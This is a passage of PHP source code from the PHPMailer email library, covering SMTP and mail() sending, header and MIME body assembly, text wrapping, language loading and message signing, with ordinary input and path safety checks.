(self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an 